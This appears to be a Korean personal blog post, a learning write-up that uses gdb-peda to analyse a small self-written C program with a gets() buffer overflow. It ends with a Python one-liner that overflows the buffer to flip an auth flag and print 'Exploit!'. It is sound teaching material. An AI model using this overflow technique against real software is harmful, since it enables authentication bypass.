gdb-peda
와 놀던 중 무언가 번뜩!! 해서 바로 글로 남깁니다 :D
현재 hackerschool.org
의 FTZ
서버가 내려가있어서.. (로컬로 구축할 수 있는 환경도 아니라..)
아쉬운대로 홈페이지를 뒤적이던 중 BOF
와 관련된 무임승차 문제가 있길래
gdb
로 분석해 봤습니다!
코드
root@goorm:/workspace/LCH_Server# cat bof.c
#include <stdio.h>
#include <string.h>
int main() {
int auth = 0;
char passwd[20];
printf("Password : ");
gets(passwd);
if (strcmp(passwd, "exploit") == 0) {
auth = 1;
}
if (auth) {
printf("Exploit!\n");
}
else {
printf("Fail\n");
}
return 0;
}
int
형 auth
변수와 char[]
형 passwd
를 생성, 사용자에게 gets
로 입력받고
strcmp
함수를 이용해 사용자의 입력이 exploit
과 같으면 Exploit!
을, 다르다면 Fail
을 출력하는 간단한 코드입니다.
gets
함수가 길이를 검사하지 않는다는 취약점을 이용해 passwd
배열을 overflow
시켜
auth
변수의 값을 조작하는 것이 목적입니다.
gcc
의 스택 보호 기술을 해제한 후 컴파일 했습니다!
root@goorm:/workspace/LCH_Server# gcc -fno-stack-protector -mpreferred-stack-boundary=4 bof.c -o boftest
bof.c: In function ‘main’:
bof.c:10:2: warning: implicit declaration of function ‘gets’ [-Wimplicit-function-declaration]
gets(passwd);
^
bof.c:12:6: warning: implicit declaration of function ‘strcmp’ [-Wimplicit-function-declaration]
if (strcmp(passwd, "exploit") == 0) {
^
/tmp/ccqyOx3b.o: In function `main':
bof.c:(.text+0x2b): warning: the `gets' function is dangerous and should not be used.
Warning
만 보면 bof
가 생각나서 두근두근 하네요ㅎㅎ..
빨리 gdb
로 까보겠습니다!
root@goorm:/workspace/LCH_Server# gdb -q boftest
Reading symbols from boftest...(no debugging symbols found)...done.
gdb-peda$ b *main
Breakpoint 1 at 0x400616
gdb-peda$ disas main
Dump of assembler code for function main:
0x0000000000400616 <+0>: push rbp
0x0000000000400617 <+1>: mov rbp,rsp
0x000000000040061a <+4>: sub rsp,0x20
0x000000000040061e <+8>: mov DWORD PTR [rbp-0x4],0x0
0x0000000000400625 <+15>: mov edi,0x400714
0x000000000040062a <+20>: mov eax,0x0
0x000000000040062f <+25>: call 0x4004d0 <printf@plt>
0x0000000000400634 <+30>: lea rax,[rbp-0x20]
0x0000000000400638 <+34>: mov rdi,rax
0x000000000040063b <+37>: mov eax,0x0
0x0000000000400640 <+42>: call 0x400510 <gets@plt>
0x0000000000400645 <+47>: lea rax,[rbp-0x20]
0x0000000000400649 <+51>: mov esi,0x400720
0x000000000040064e <+56>: mov rdi,rax
0x0000000000400651 <+59>: call 0x4004f0 <strcmp@plt>
0x0000000000400656 <+64>: test eax,eax
0x0000000000400658 <+66>: jne 0x400661 <main+75>
0x000000000040065a <+68>: mov DWORD PTR [rbp-0x4],0x1
0x0000000000400661 <+75>: cmp DWORD PTR [rbp-0x4],0x0
0x0000000000400665 <+79>: je 0x400673 <main+93>
0x0000000000400667 <+81>: mov edi,0x400728
0x000000000040066c <+86>: call 0x4004c0 <puts@plt>
0x0000000000400671 <+91>: jmp 0x40067d <main+103>
0x0000000000400673 <+93>: mov edi,0x400731
0x0000000000400678 <+98>: call 0x4004c0 <puts@plt>
0x000000000040067d <+103>: mov eax,0x0
0x0000000000400682 <+108>: leave
0x0000000000400683 <+109>: ret
End of assembler dump.
main
의 시작 부분에 break point
를 걸어주고 어셈블리어로 열어봤습니다.
main+0
~ main+1
부분에서 Stack Frame
을 만들어 주는 것이 보이네요!
main+4
에선 rsp
를 0x20
만큼 빼서 공간을 할당하고 있습니다.
바로 밑인 main+8
은 rbp-0x4
에 0
을 넣어주네요. 느낌이 딱 auth
변수죠??
main+15
~ main+20
은 printf
함수를 사용하기 위한 인자들을 넣어주는 것 같습니다.
edi
에 들어가는 0x400714
가 뭔지 살짝 볼까요..?
gdb-peda$ x/s 0x400714
0x400714: “Password : “
역시 문자열이네요. 딱딱 맞아 떨어지니 참 좋습니다 :D
그 다음은 main+30
~ main+42
입니다. gets
함수의 인자들을 넣어주는 부분이겠죠?
gets
함수의 호출 직후인 main+47
에 break point
를 걸고 달려보겠습니다.
입력으론 passwd
배열의 크기만큼 A
를 20개 주겠습니다.
Password : AAAAAAAAAAAAAAAAAAAA
잘 들어갔나 rsp
의 값을 확인해 볼까요?
Breakpoint 2, 0x0000000000400645 in main ()
gdb-peda$ x/32wx $rsp
0x7ffe04db8b40: 0x41414141 0x41414141 0x41414141 0x41414141
0x7ffe04db8b50: 0x41414141 0x00007f00 0x00000000 0x00000000
0x7ffe04db8b60: 0x00000000 0x00000000 0xa1702f45 0x00007fa6
0x7ffe04db8b70: 0x00000000 0x00000000 0x04db8c48 0x00007ffe
0x7ffe04db8b80: 0x00000000 0x00000001 0x00400616 0x00000000
0x7ffe04db8b90: 0x00000000 0x00000000 0x8a0bc432 0xf88923ff
0x7ffe04db8ba0: 0x00400520 0x00000000 0x04db8c40 0x00007ffe
0x7ffe04db8bb0: 0x00000000 0x00000000 0x00000000 0x00000000
passwd
배열의 시작과 끝이 잘 보이네요.
이 녀석의 주소는 0xFFE04DB8B40 ~ 0X7FFE04DB8B53
까지였고, 길이는 역시 20 bytes
입니다.
그럼 여기 어딘가엔 auth
변수도 있겠죠..? 그런데 값이 0
이라 뭐가 진짜인지 모르겠네요.
auth
에 대해 우리가 알고 있는 정보는 rbp-0x4
에 할당된 변수라는 것입니다.
똑똑한 gdb
에게 rbp-0x4
가 어디있는지 알려줘..!! 라고 물어봅시다.
gdb-peda$ x/x $rbp-0x4
0x7ffe04db8b5c: 0x00000000
워.. 쓰면 쓸 수록 OllyDBG
보다 쓰는 맛이 있는 것 같아요. 너무 재밌잖아?
auth
는 passwd
배열에서 8 bytes
떨어진 곳에 위치하고 있었습니다.
처음에 rsp
에 sub 0x20
을 하는 부분이 있었는데, 그거와 연관이 있는 걸까요? ..허허
우리는 결국 두 변수의 관계를 알아냈습니다.
passwd
배열에 28 bytes
를 쓰면 auth
변수에 닿을 수 있었던 것입니다 :D
직접 때려보도록 해요!!!
root@goorm:/workspace/LCH_Server# (python -c "print 'A' * 28") | ./boftest
Password : Fail
root@goorm:/workspace/LCH_Server# (python -c "print 'A' * 29") | ./boftest
Password : Exploit!
마무리
gdb
의 재미를 알게 되었습니다. 갑자기 이건 꼭 써야해.. 라고 느껴서 급하게 글을 적었네요.
더욱 더 많이 써보면서 툴과 익숙해지면 좋겠습니다 :D
'CTF_Write_UP' 카테고리의 다른 글
[2017 CSAW CTF] pilot (0) | 2019.05.30 |
---|---|
[Codegate 2018] BaskinRobins31 (0) | 2019.05.27 |
[2019 DefCon Quals] speedrun-002 (0) | 2019.05.25 |
[2019 DefCon Quals] speedrun-001 (0) | 2019.05.23 |
[Plaid CTF 2013 - ropasaurusrex] rop 공룡 (0) | 2019.05.15 |